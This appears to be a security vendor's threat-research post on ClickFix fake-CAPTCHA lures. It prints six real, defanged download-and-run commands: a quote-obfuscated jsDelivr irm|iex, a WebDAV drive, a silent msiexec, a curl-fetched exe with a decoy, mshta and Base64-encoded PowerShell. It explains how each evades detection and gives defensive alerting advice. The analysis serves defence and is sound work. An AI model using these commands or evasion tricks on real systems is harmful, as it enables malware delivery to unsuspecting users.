Beyond irm | iex: six ways a fake CAPTCHA delivers malware.

All commands below are shortened where marked and defanged ([.] instead of the last dot of each host) so that nothing in this article can be clicked or run. The ClickFix lure itself is explained in What is ClickFix?

1. A public code CDN, with a quote in the middle

IRM fastly.jsdelivr[.]net/g"h"/wiktor1992kl/sds37465-df459-kcne8xhf-ajdf55/ea25409061fa | IEX

jsDelivr is a free service that serves files from GitHub to millions of websites; the real path starts with /gh/. PowerShell drops the two quote marks in g"h" and fetches /gh/… as usual, but a rule that looks for the text /gh/ in the command finds nothing. A third site used githack, another service that serves files from GitHub and GitLab, in the same way.

Why it works for the attacker: nobody can block jsDelivr or githack without breaking websites, and the file can live in a throwaway account.

2. A network drive over the web

cmd /c net use Z: http://185.246.223[.]71/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete

No PowerShell and no download tool. The command connects drive Z: to a folder on the attacker's server (WebDAV is a way to use a web server as a shared drive), runs update.cmd from it as if it were a local file, then removes the drive. The server is a bare IP address with no domain to look up.

3. A silent installer named like a Windows update

cmd /c curl -gkso %TEMP%\wud.msi https://update.neewsoo[.]com/dl/kb1000013.msi?v=c15c541c16c4 && msiexec /i %TEMP%\wud.msi /qn

curl saves an installer to the Temp folder; msiexec /qn installs it with no window at all. The names are chosen to look routine: "update" in the host, kb1000013 like the number of a Windows update. To someone glancing at a process list, it looks like maintenance.

4. A program in Temp, behind a decoy window and a fake code

cmd /c start /max www.[hacked site]/verification.php && curl -k -o %temp%\install.exe https://security-malware[.]com/index.html && start %temp%\install.exe && echo ___________________________V_E_R_I_F_I_C_A_T_I_O_N_____3_4_7_6_0_8______

Three tricks in one line:

• A decoy: it first opens a "verification" page in a full-screen window, so the visitor watches that while the rest runs.
• A disguised file: it downloads something called index.html, saves it as install.exe and starts it.
• A fake code: the Run box is narrow and, after pasting, shows the end of a long line. The visitor sees only V_E_R_I_F_I_C_A_T_I_O_N 3 4 7 6 0 8 and believes they pasted a verification code.

The same trick of hiding the real command behind a harmless-looking end appears elsewhere this week: one command ends with # Gateway Verification - Challenge Response ID: 597242, a comment that does nothing except look reassuring.

5. An HTML application

mshta https://pumpadmin[.]fun/p.hta

mshta is an old Windows program that runs "HTML applications": web pages with the full rights of a desktop program. One short command, no PowerShell, and the attacker's file decides the rest. The domain was 10 days old at the end of the week.

6. Layers of encoding

At least four commands this week hid their download behind one or more layers:

• An encoded command. powershell -w h -enc aQBlAHgAKABpAHcAcgAg… runs a hidden window with a command written in Base64. Decoded, it is iex(iwr 'https://api.stellarcedar[.]live/cdn/hlfwties.js' -UseBasicParsing): download and run.
• Base64 decoded by the command itself. iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aXJtIGh1ZXNv…'))) becomes irm huesosivvdoite[.]com/check/update.ps1|iex.
• A pipeline that hides the order. @(0)|ForEach-Object {'7qs6'}|ForEach-Object {…|ForEach-Object {Invoke-RestMethod 'threejrev[.]com/r'}|Select-Object -First 1)}: the same download and run, wrapped in steps that do nothing, so that a rule looking for "download, then run" in that order misses it. It came from a fake "Claude early access" page, a reminder that AI tools are a favourite bait.
• A browser disguise. (irm 'https://lepafonso[.]bz/…' -UserAgent 'Mozilla/5.0 … Chrome/126…' -Headers @{'X-WUA'=…})|iex makes PowerShell present itself as Chrome, probably so that the server hands the malware only to what looks like a real browser and shows automated analysis tools nothing.

What none of them can change

Every command above avoids a different rule: one avoids the word PowerShell, one the download tool, one the domain, one the order of the steps. But each still has to do the same three things, and has to get there the same way:

1. a web page writes it to the clipboard, together with instructions to open the Run box or a terminal;
2. it fetches code from the internet (a file, a script, a drive, an installer);
3. it runs that code.

That shape is what ByteMantle looks for. The extension reads what a page writes to the clipboard, recognises a command that fetches and runs code, in any of these forms, and replaces it with a harmless message before it can be pasted. On these pages it also saw the fake CAPTCHA and, on many of them, the smart contract the lure was read from.

Why a list of bad addresses is not enough

The servers in these commands are cheap to replace: some of their domains were only days old when we saw them, one method uses services nobody can block and another a bare IP address with no domain at all. Protection that depends on block lists has to wait until someone reports each new address. A site hacked for one company, with a server used for one campaign, may never reach a shared list at all.

ByteMantle uses lists too, signed threat lists and the age of every domain, because they catch what is already known. The part that looks at the page itself does not have to wait for anyone: it works on the first visit to the first hacked site.

What to do

• Security teams: alert on msiexec /qn, net use to an internet address, mshta with a URL, powershell -enc and curl … | cmd started from explorer.exe, which is where the Run box starts them. Do not rely on one string such as irm | iex.
• IT teams: where nobody needs it, turn off the Run box for ordinary users with a group policy. It does not stop a terminal, but it removes the easiest path.
• Everyone: no real website ever asks you to press Windows + R or paste something to prove you are human. Already pasted? What to do now.

Indicators

All indicators of the week, and the sites that served the lure, are in the downloads of the ClickFix report.

How we collect this

We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware: the commands here are the text the pages wrote to the clipboard, decoded by us where they were encoded. What customers' browsers see is never part of our research.

Read more

• One smart contract, a new payload server every few days
• The ClickFix beacon: how a fake CAPTCHA reports you before the download
• ClickFix report, 5–11 November 2026
• What is ClickFix? The copy-paste attack, explained